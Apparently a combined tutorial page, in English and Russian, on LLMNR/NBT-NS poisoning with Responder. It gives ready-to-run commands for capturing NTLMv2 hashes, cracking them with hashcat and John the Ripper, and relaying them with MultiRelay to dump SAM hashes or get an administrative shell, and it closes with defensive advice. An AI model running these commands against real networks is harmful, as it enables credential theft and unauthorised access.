- Responder
- Responder Help Page
- Instructions
- Using Responder to Perform LLMNR Poisoning
- Cracking NTLMv2 Credentials with HashCat
- Using Responder-Finger and Responder-MultiRelay
- Перехватываем и дешифруем пароли Windows при помощи Responder + брут хэша при помощи John the Ripper
- Как такая атака реализуется
- Установка и использование Responder
- Установка John the Ripper
- Брутфорс NTLMv2-хэшей с помощью John the Ripper (быстрый способ)
- Как защититься от Responder и брутфорс-атак
Responder
Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.
Responder comes packaged with Kali Linux by default. 1 . Additionally, Inveigh (a PowerShell version of Responder) is baked into PowerShell-Empire.
Responder Help Page
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
__ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 3.1.3.0 To support this project: Patreon -> https://www.patreon.com/PythonResponder Paypal -> https://paypal.me/PythonResponder Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C Usage: responder -I eth0 -w -d or: responder -I eth0 -wd Options: --version show program's version number and exit -h, --help show this help message and exit -A, --analyze Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding. -I eth0, --interface=eth0 Network interface to use, you can use 'ALL' as a wildcard for all interfaces -i 10.0.0.21, --ip=10.0.0.21 Local IP to use (only for OSX) -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed Poison all requests with another IPv6 address than Responder's one. -e 10.0.0.22, --externalip=10.0.0.22 Poison all requests with another IP address than Responder's one. -b, --basic Return a Basic HTTP authentication. Default: NTLM -d, --DHCP Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False -D, --DHCP-DNS This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False -w, --wpad Start the WPAD rogue proxy server. Default value is False -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port) -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False --lm Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False --disable-ess Force ESS downgrade. Default: False -v, --verbose Increase verbosity.
Instructions
Using Responder to Perform LLMNR Poisoning
Execute the below command on the attacker machine. Ensure that the -I switch is set to interface that is on the same network as the target.
# Running the listener will wait for a host to make a request sudo responder -I ens33 -wd
Once a set of NTLMv2 credentials have been collection, the password can be attempted to be cracked.
Cracking NTLMv2 Credentials with HashCat
With the previously obtained NTLMv2 credential hash collected and saved to a text file. It can be parsed through a credential cracking utility such as hashcat.
hashcat -m 5600 -a 0 /PATH/TO/DUMP.txt /usr/share/wordlists/rockyou.txt
Using Responder-Finger and Responder-MultiRelay
Responder comes packaged with additional tools can be used together with Responder to perform other tasks, such as relaying NTLMv2 credentials to gain authenticated access via SMB without the requirement to crack a collected NTLMv2 password hash. The below example shows how to identify systems that don’t require SMB signing (a requirement for this method to work) using Responder-Finger and setup the Responder-MultRelay to gain authenticated access to another host. Local Administrative privileges is however a requirement for the process to work.
This will require three hosts; the attacker, the requesting LLMNR victim, and the target.
Configure the Responder configuration file located at /etc/Responder/Responder.conf (On Kali Linux) to disable SMB and HTTP server replies.
Start Responder to listen for LLMNR requests. Ensure that the -I switch is set to interface that is on the same network as the target.
sudo responder -I ens33 -wd
Identify hosts on the target network that have SMB signing disabled, the -i switch requires the subnet to search. Once the results are returned, identify any hosts that return SMB signing: False . If none are returned, this method will not work and NTLMv2 credentials will need to be cracked instead.
sudo responder-RunFinger.py -i 10.10.10.1/24
Start the MultiRelay to relay the NTLMv2 credentials to any target host identified in step 3. In this example, 10.10.10.10 was identified to have SMB signing disabled and is therefore used as the target -t . The -d switch will instruct the MultiRelay tool to dump the local password hashes. The -d switch can be omitted which will instead return an administrative shell to the target machine.
sudo responder-MultiRelay.py -t 10.10.10.10 -u ALL -d
If the -d switch was omitted in step 4, an interactive shell will be returned allowed the following commands.
- Dump: Extract the SAM database and print hashes
- regdump KEY: Dump a HKLM registry key
- read: Read a file
- get: Download a file
- delete: Delete a file
- Upload: Upload a local file to \windows\temp\
- runas: Run a command as the currently logged on user
- scan: Performs a scan using SMB for other local targets (use /24 or /26 to limit scope)
- mimi: Run a remote Mimikatz 64 command
- mimi32: Run a remote Mimikatz 32 command
- lcmd: Run a local command
Перехватываем и дешифруем пароли Windows при помощи Responder + брут хэша при помощи John the Ripper
UnderMind
Хэши, содержащие пароли входа, передаются между компьютерами Windows в локальных Wi-Fi сетях. Перехватив и дешифровав эти хэши с помощью программ Responder мы можем узнать учетные данные пользователей, которые потом можно использовать для получения физического доступа к их компьютеру. Также мы будем использовать John the Ripper для брутфорса полученного хэша.
Как такая атака реализуется
При взаимодействии с другими устройствами в локальной сети и для разрешения имен хостов этих устройств Windows использует протокол Link-Local Multicast Name Resolution. Любой клиент в локальной сети может взаимодействовать с протоколом LLMNR, чтобы помочь Windows в разрешении имени хоста другого устройства в этой сети.
Уязвимость заключается в готовности Windows принимать запросы от любого устройства в такой сети, даже если такой запрос некорректен. В протокол LLMNR не включена проверка входящих данных, что создает благоприятные условия для ее использования хакерами.
Машина хакера будет прослушивать пакеты в локальной сети на наличие LLMNR-запросов, исходящих с целевого Windows-компьютера, а затем будет отвечать на такой запрос. Полагая, что ответ настоящий, компьютер Windows попытается вступить во взаимодействие с этим сервером, и чтобы открыть сессию отправит на него пароль пользователя в формате хэширования NTLMv2.
Хэши NTLM, используемые LLMNR, очень ценны для хакеров.
Установка и использование Responder
Для начала атаки нужно получить NTLMv2-хэш с целевого компьютера. Это можно сделать с помощью Responder — он способен анализировать и изменять ответы LLMNR и mDNS. Responder используется для взаимодействия с компьютерами Windows в локальной сети и перехвата NTLMv2-хэшей, передаваемых с целевого устройства.
Его можно найти в репозиториях Kali Linux. Перед установкой последней версии Responder сначала воспользуйтесь командой apt-get update. Для установки используйте последовательно одну за другой вот эти команды:
apt-get update apt-get install responder
Когда установка завершится, можно воспользоваться аргументом —help, чтобы просмотреть все доступные опции Responder’а.
Запустите Responder этой командой:
Если для подключения к целевой беспроводной сети используется встроенная беспроводная карта, то именно «wlan0», скорее всего, будет именем используемого интерфейса. Аргумент -I является единственным обязательным аргументом для использования Responder. Имя интерфейса можно найти с помощью команды ifconfig.
Терминал Responder’а перейдет в состояние «прослушивания», в котором он будет отвечать на LLMNR-запросы, проходящие в локальной сети. Когда он обнаружит NTLMv2-хэш, принадлежащий целевому Windows-компьютеру, Responder выведет этот хэш в терминале.
Весь хэш (выделен на скриншоте красным) нужно сохранить локально. Это можно сделать с помощью nano и сохранить в файл с именем hash.txt.
Чтобы сохранить изменения и выйти нажмите Ctrl + X, затем Y, затем Enter.
Установка John the Ripper
Брутфорс полученного хэша будет последним испытанием этой атаки, и для его выполнения мы будем использовать John the Ripper. Он осуществляет перебор паролей с использованием CPU. В настоящее время он доступен в большинстве популярных дистрибутивов Linux, таких как Kali Linux и Parrot OS (моя любимая кстати).
Основной целью John the Ripper является обнаружение слабых паролей путем проведения различных брутфорс-атак против обычных алгоритмов хэширования и шифрования, для таких объектов, как защищенные паролем ZIP-файлы, приватные SSH-ключи PuTTY, зашифрованные базы данных паролей Firefox, «связки ключей» macOS (keychains), хэши Windows NTLMv2 и многие другие.
John the Ripper (в консоли называемый просто john) можно установить с помощью этой команды:
John the Ripper поддерживает широкий спектр алгоритмов хэширования и шифрования. Аргументы -test и -format можно использовать для проведения замеров скорости взлома, с которой может работать John, для того, чтобы определить, какое количество NTLMv2-паролей в секунду может сгенерировать и попробовать компьютер во время брутфорс-атаки.
john -test -format:netntlmv2
Чтобы просмотреть все данные по бенчмаркам для всех доступных алгоритмов хэширования, поддерживаемых John the Ripper, просто воспользуйтесь аргументом -test без дополнительных опций.
Брутфорс NTLMv2-хэшей с помощью John the Ripper (быстрый способ)
Атака с использованием вордлиста для подбора NTLMv2-хэшей, скорее всего, пройдет очень быстро. Мы обнаружили, что John смог обработать более 10 000 000 паролей менее чем за 20 секунд. Это связано с тем, что NTLMv2 использует слабый алгоритм хэширования, который не в состоянии обеспечить разумную степень безопасности. Даже используя старые процессоры Intel, John способен обрабатывать миллионы паролей за короткий промежуток времени.
Чтобы указать желаемый вордлист для брутфорс-атаки, используйте аргумент -wordlist.
john -wordlist: passwords.txt hash.txt
Когда хэш будет успешно взломан, он появится в терминале рядом с именем пользователя, связанным с этим хэшем. На нашей виртуальной машине Windows 10 пароль — nullbyte, а IEUser — это имя пользователя (логин).
В качестве альтернативы хэш всегда можно просмотреть еще раз, воспользовавшись аргументом —show с указанием пути к файлу, содержащему хэш.
Как защититься от Responder и брутфорс-атак
Предотвращение этих типов атак не очень-то легкое дело, и есть всего пара надежных способов, которые вы можете применить:
- Используйте более сильный пароль. Слабый алгоритм хэширования, используемый NTLMv2, означает, что пароли длиной до 16 символов будут не слишком большой проблемой для хакеров, особенно если они используют специализированное железо. Необходимо использовать длинные сложные пароли.
- Отключите протоколы LLMNR и NBT-NT. Протоколы Windows буквально напрашиваются на то, чтобы их скомпрометировали. При возможности отключите LLMNR и NBT-NS.
Со всеми вопросами/предложениями/идеями пишите нашему боту @undermbot
Также вы можете присылать ваши статьи в бота (оформляйте в телеграфе, я их просмотрю, если всё ОК — опубликую статью на канале с указанием автора.